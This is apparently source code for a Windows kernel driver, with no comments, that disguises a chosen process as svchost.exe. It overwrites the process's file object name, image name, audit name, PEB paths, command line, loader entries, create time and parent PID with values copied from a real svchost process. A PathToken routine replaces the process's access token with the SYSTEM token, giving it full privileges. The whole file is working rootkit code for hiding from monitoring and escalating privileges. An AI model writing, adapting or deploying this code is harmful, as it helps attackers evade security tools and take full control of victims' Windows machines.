#include "pch.h"
#pragma warning(disable: 4214) #pragma warning(disable: 4057) #pragma warning(disable: 4201) #pragma warning(disable: 4267)
typedef struct _LDR_DATA_TABLE_ENTRY // 24 elements, 0xE0 bytes (sizeof) { struct _LIST_ENTRY InLoadOrderLinks; struct _LIST_ENTRY InMemoryOrderLinks; struct _LIST_ENTRY InInitializationOrderLinks; VOID* DllBase; VOID* EntryPoint; ULONG32 SizeOfImage; UINT8 _PADDING0_[0x4]; struct _UNICODE_STRING FullDllName; struct _UNICODE_STRING BaseDllName; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _CURDIR // 2 elements, 0x18 bytes (sizeof) { struct _UNICODE_STRING DosPath; VOID* Handle; }CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS // 30 elements, 0x400 bytes (sizeof) { ULONG32 MaximumLength; ULONG32 Length; ULONG32 Flags; ULONG32 DebugFlags; VOID* ConsoleHandle; ULONG32 ConsoleFlags; UINT8 _PADDING0_[0x4]; VOID* StandardInput; VOID* StandardOutput; VOID* StandardError; struct _CURDIR CurrentDirectory; struct _UNICODE_STRING DllPath; struct _UNICODE_STRING ImagePathName; struct _UNICODE_STRING CommandLine; VOID* Environment; ULONG32 StartingX; ULONG32 StartingY; ULONG32 CountX; ULONG32 CountY; ULONG32 CountCharsX; ULONG32 CountCharsY; ULONG32 FillAttribute; ULONG32 WindowFlags; ULONG32 ShowWindowFlags; UINT8 _PADDING1_[0x4]; struct _UNICODE_STRING WindowTitle; struct _UNICODE_STRING DesktopInfo; struct _UNICODE_STRING ShellInfo; struct _UNICODE_STRING RuntimeData; }RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB_LDR_DATA // 9 elements, 0x58 bytes (sizeof) { ULONG32 Length; UINT8 Initialized; UINT8 _PADDING0_[0x3]; VOID* SsHandle; struct _LIST_ENTRY InLoadOrderModuleList; struct _LIST_ENTRY InMemoryOrderModuleList; struct _LIST_ENTRY InInitializationOrderModuleList; VOID* EntryInProgress; UINT8 ShutdownInProgress; UINT8 _PADDING1_[0x7]; VOID* ShutdownThreadId; }PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _PEB // 91 elements, 0x380 bytes (sizeof) { UINT8 InheritedAddressSpace; UINT8 ReadImageFileExecOptions; UINT8 BeingDebugged; union // 2 elements, 0x1 bytes (sizeof) { UINT8 BitField; struct // 6 elements, 0x1 bytes (sizeof) { UINT8 ImageUsesLargePages : 1; UINT8 IsProtectedProcess : 1; UINT8 IsLegacyProcess : 1; UINT8 IsImageDynamicallyRelocated : 1; UINT8 SkipPatchingUser32Forwarders : 1; UINT8 SpareBits : 3; }; }; VOID* Mutant; VOID* ImageBaseAddress; struct _PEB_LDR_DATA* Ldr; struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; }PEB, *PPEB;
WCHAR* g_szTarSeAuditProcessName = NULL; WCHAR* g_szTarPebFullName = NULL; WCHAR* g_szTarPebBaseName = NULL; WCHAR* g_szTarFileObjectName = NULL; WCHAR* g_szTarPebCurrentDir = NULL; WCHAR* g_szTarWin10ImageFilePointerName = NULL; LARGE_INTEGER g_TarCreateTime = { 0 }; ULONG_PTR g_TarInheritedFromUniqueProcessId = 0;
NTSTATUS PsGetTarProcessInfo(HANDLE pid) { PPEB peb = NULL; PLDR_DATA_TABLE_ENTRY ldr = NULL; PEPROCESS Process = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; PUNICODE_STRING SeAuditName = NULL; PUNICODE_STRING SelocateName = NULL; PFILE_OBJECT pFileObject = NULL;
status = PsLookupProcessByProcessId(pid, &Process);
if (!NT_SUCCESS(status)) return status;
g_TarCreateTime.QuadPart = PsGetProcessCreateTimeQuadPart(Process); g_TarInheritedFromUniqueProcessId = PsGetProcessInheritedFromUniqueProcessId(Process);
if (*NtBuildNumber > 9600) { g_szTarWin10ImageFilePointerName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2); if (g_szTarWin10ImageFilePointerName == NULL) return STATUS_NO_MEMORY;
RtlZeroMemory(g_szTarWin10ImageFilePointerName, KMAX_PATH * 2); }
if (g_szTarPebBaseName == NULL) g_szTarPebBaseName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
if (g_szTarPebFullName == NULL) g_szTarPebFullName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
if (g_szTarSeAuditProcessName == NULL) g_szTarSeAuditProcessName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if(g_szTarFileObjectName == NULL) g_szTarFileObjectName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (g_szTarPebCurrentDir == NULL) g_szTarPebCurrentDir = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (g_szTarPebBaseName && g_szTarPebFullName && g_szTarSeAuditProcessName && g_szTarFileObjectName && g_szTarPebCurrentDir) { RtlZeroMemory(g_szTarPebBaseName, MAX_PATH * 2); RtlZeroMemory(g_szTarPebFullName, MAX_PATH * 2); RtlZeroMemory(g_szTarSeAuditProcessName, KMAX_PATH * 2); RtlZeroMemory(g_szTarFileObjectName, KMAX_PATH * 2); RtlZeroMemory(g_szTarPebCurrentDir, KMAX_PATH * 2);
if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName))) return STATUS_UNSUCCESSFUL;
ExFreePool(SelocateName);
if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject))) return STATUS_UNSUCCESSFUL;
RtlCopyMemory(g_szTarFileObjectName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
ObDereferenceObject(pFileObject);
if (*NtBuildNumber > 9600) { pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); if (!MmIsAddressValid(pFileObject)) { ObDereferenceObject(Process); return STATUS_UNSUCCESSFUL; }
RtlCopyMemory(g_szTarWin10ImageFilePointerName, pFileObject->FileName.Buffer, pFileObject->FileName.Length); }
if(*NtBuildNumber < 9600) SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390)); else SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468));
if (!MmIsAddressValid(SeAuditName)) { ObDereferenceObject(Process); return STATUS_UNSUCCESSFUL; }
RtlCopyMemory(g_szTarSeAuditProcessName, SeAuditName->Buffer, SeAuditName->Length);
peb = PsGetProcessPeb(Process);
KeAttachProcess(Process);
__try { RtlCopyMemory(g_szTarPebFullName, peb->ProcessParameters->ImagePathName.Buffer, peb->ProcessParameters->ImagePathName.Length); ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink; RtlCopyMemory(g_szTarPebBaseName, ldr->BaseDllName.Buffer, ldr->BaseDllName.Length); RtlCopyMemory(g_szTarPebCurrentDir, peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, peb->ProcessParameters->CurrentDirectory.DosPath.Length); status = STATUS_SUCCESS; } __except (1) { }
KeDetachProcess();
} else { status = STATUS_NO_MEMORY; }
ObDereferenceObject(Process);
return status; }
BOOLEAN PathWin10ImageNamePoint(PEPROCESS Process, WCHAR* szFullName) { BOOLEAN bRet = FALSE; PFILE_OBJECT pFileObject = NULL; WCHAR* szNewFullName = NULL;
if (szFullName == NULL || Process == NULL) return FALSE;
szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2); if (szNewFullName == NULL) return FALSE;
RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448));
if (!MmIsAddressValid(pFileObject)) { ExFreePool(szNewFullName); return FALSE; }
if (pFileObject->FileName.Length >= wcslen(szFullName) * 2) { RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength); RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2); pFileObject->FileName.Length = wcslen(szFullName) * 2; ExFreePool(szNewFullName); bRet = TRUE; } else { RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2); pFileObject->FileName.Buffer = szNewFullName; pFileObject->FileName.Length = wcslen(szFullName) * 2; pFileObject->FileName.MaximumLength = KMAX_PATH * 2; bRet = TRUE; }
return bRet; }
BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName) { BOOLEAN bRet = FALSE; PFILE_OBJECT pFileObject = NULL; WCHAR* szNewFullName = NULL;
if (szFullName == NULL || Process == NULL) return FALSE;
szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2); if (szNewFullName == NULL) return FALSE;
RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject))) return FALSE;
if (pFileObject->FileName.Length >= wcslen(szFullName) * 2) { RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength); RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2); pFileObject->FileName.Length = wcslen(szFullName) * 2; ExFreePool(szNewFullName); bRet = TRUE; } else { RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2); pFileObject->FileName.Buffer = szNewFullName; pFileObject->FileName.Length = wcslen(szFullName) * 2; pFileObject->FileName.MaximumLength = KMAX_PATH * 2; bRet = TRUE; }
ObDereferenceObject(pFileObject); return bRet; }
BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName) { PPEB peb = NULL; BOOLEAN bRet = FALSE; BOOLEAN bAttach = FALSE; PLDR_DATA_TABLE_ENTRY ldr = NULL; if (Process == NULL || szFullName == NULL || szBaseName == NULL) return FALSE;
do { peb = PsGetProcessPeb(Process);
if (peb == NULL) break;
KeAttachProcess(Process); bAttach = TRUE;
__try { ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
if (!MmIsAddressValid(ldr)) break;
if (ldr->FullDllName.Length < wcslen(szFullName) * 2) break;
if (ldr->BaseDllName.Length < wcslen(szBaseName) * 2) break;
RtlZeroMemory(ldr->FullDllName.Buffer, ldr->FullDllName.MaximumLength); RtlCopyMemory(ldr->FullDllName.Buffer, szFullName, wcslen(szFullName) * 2);
RtlZeroMemory(ldr->BaseDllName.Buffer, ldr->BaseDllName.MaximumLength); RtlCopyMemory(ldr->BaseDllName.Buffer, szBaseName, wcslen(szBaseName) * 2); bRet = TRUE; } __except (1) { }
} while (FALSE);
if (bAttach) KeDetachProcess();
return bRet; }
BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName) { BOOLEAN bRet = FALSE; BOOLEAN bAttach = FALSE; PPEB Peb = NULL;
if (Process == NULL || szFullName == NULL) return FALSE;
do { Peb = PsGetProcessPeb(Process);
if (Peb == NULL) break;
KeAttachProcess(Process); bAttach = TRUE;
__try { if (Peb->ProcessParameters->ImagePathName.Length < wcslen(szFullName) * 2) break;
RtlZeroMemory(Peb->ProcessParameters->ImagePathName.Buffer, Peb->ProcessParameters->ImagePathName.MaximumLength); RtlCopyMemory(Peb->ProcessParameters->ImagePathName.Buffer, szFullName, wcslen(szFullName) * 2);
RtlZeroMemory(Peb->ProcessParameters->CommandLine.Buffer, Peb->ProcessParameters->CommandLine.MaximumLength); RtlCopyMemory(Peb->ProcessParameters->CommandLine.Buffer, szFullName, wcslen(szFullName) * 2);
if (Peb->ProcessParameters->WindowTitle.Length >= wcslen(szFullName) * 2) { RtlZeroMemory(Peb->ProcessParameters->WindowTitle.Buffer, Peb->ProcessParameters->WindowTitle.MaximumLength); RtlCopyMemory(Peb->ProcessParameters->WindowTitle.Buffer, szFullName, wcslen(szFullName) * 2); }
if (Peb->ProcessParameters->ShellInfo.Length >= wcslen(szFullName) * 2) { RtlZeroMemory(Peb->ProcessParameters->ShellInfo.Buffer, Peb->ProcessParameters->ShellInfo.MaximumLength); RtlCopyMemory(Peb->ProcessParameters->ShellInfo.Buffer, szFullName, wcslen(szFullName) * 2); }
if (Peb->ProcessParameters->CurrentDirectory.DosPath.Length >= wcslen(g_szTarPebCurrentDir) * 2) { RtlZeroMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, Peb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength); RtlCopyMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, g_szTarPebCurrentDir, wcslen(g_szTarPebCurrentDir) * 2); } bRet = TRUE; } __except (1) {
}
} while (FALSE);
if(bAttach) KeDetachProcess();
return bRet; }
BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName) { PUNICODE_STRING Name = NULL; PUNICODE_STRING SelocateName = NULL;
if (Process == NULL || ProcessName == NULL) return FALSE;
if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName))) return FALSE;
ExFreePool(SelocateName);
if(*NtBuildNumber < 9600) Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390)); else Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468));
if (!MmIsAddressValid(Name)) return FALSE;
if ((wcslen(ProcessName) * 2) > Name->Length) { return FALSE; }
RtlZeroMemory(Name->Buffer, Name->MaximumLength); RtlCopyMemory(Name->Buffer, ProcessName, wcslen(ProcessName) * 2); Name->Length = wcslen(ProcessName) * 2; return TRUE; }
BOOLEAN PathImageFileName(PEPROCESS Process, char* cName) { char szNameBuff[15] = { 0 }; char* szProcessBuff = NULL; size_t cNamelen = 0;
if (Process == NULL || cName == NULL) return FALSE;
cNamelen = strlen(cName);
RtlZeroMemory(szNameBuff, sizeof(szNameBuff)); if(cNamelen > 15) RtlCopyMemory(szNameBuff, cName, sizeof(szNameBuff)); else RtlCopyMemory(szNameBuff, cName, cNamelen); szProcessBuff = PsGetProcessImageFileName(Process); RtlZeroMemory(szProcessBuff, sizeof(szNameBuff)); RtlCopyMemory(szProcessBuff, szNameBuff, sizeof(szNameBuff));
return TRUE; }
PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address) { ULONG_PTR Value = *(ULONG_PTR*)(Address); return (PACCESS_TOKEN)(Value & ((ULONG_PTR)(~0xf))); }
BOOLEAN PathToken(PEPROCESS Process) { PACCESS_TOKEN CurrentToken = NULL; PACCESS_TOKEN SystemToken = NULL; BOOLEAN bRet = FALSE; CurrentToken = PsReferencePrimaryToken(Process); SystemToken = PsReferencePrimaryToken(PsInitialSystemProcess);
for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80; Offset += sizeof(void *)) { ULONG_PTR TestAddress = (ULONG_PTR)Process + Offset; PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress); if (ProbableToken == CurrentToken) { PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress); *TokenAddress = SystemToken; bRet = TRUE; break; } }
PsDereferencePrimaryToken(CurrentToken); PsDereferencePrimaryToken(SystemToken); return bRet; }
BOOLEAN PathCreateTime(PEPROCESS Process) { ULONG offset = 0; offset = *(PULONG)((ULONG_PTR)PsGetProcessCreateTimeQuadPart + 3); if (offset) { *(LARGE_INTEGER*)((ULONG_PTR)Process + offset) = g_TarCreateTime; return TRUE; } return FALSE; }
BOOLEAN PathInheritedFromUniqueProcessId(PEPROCESS Process) { ULONG offset = 0; offset = *(PULONG)((ULONG_PTR)PsGetProcessInheritedFromUniqueProcessId + 3); if (offset) { *(ULONG_PTR*)((ULONG_PTR)Process + offset) = g_TarInheritedFromUniqueProcessId; return TRUE; } return FALSE; }
BOOLEAN PathModification(HANDLE pid) { HANDLE SvchostPid = NULL; PEPROCESS Process = NULL;
if (!PsIs64BitProcess(pid)) return FALSE;
SvchostPid = (HANDLE)PsGetProcesIdBitByName("svchost.exe", TRUE);
if (SvchostPid == NULL) return FALSE;
if (!NT_SUCCESS(PsGetTarProcessInfo(SvchostPid))) return FALSE;
if (!NT_SUCCESS(PsLookupProcessByProcessId(pid, &Process))) return FALSE;
PathSeFileObject(Process, g_szTarFileObjectName);
if (*NtBuildNumber > 9600) PathWin10ImageNamePoint(Process, g_szTarWin10ImageFilePointerName);
PathImageFileName(Process, "svchost.exe");
PathSeAuditProcessCreationInfo(Process, g_szTarSeAuditProcessName);
PathPebProcessParameters(Process, g_szTarPebFullName);
PathPebLdr(Process, g_szTarPebFullName, g_szTarPebBaseName);
PathCreateTime(Process);
PathInheritedFromUniqueProcessId(Process);
ObDereferenceObject(Process); return TRUE; }
|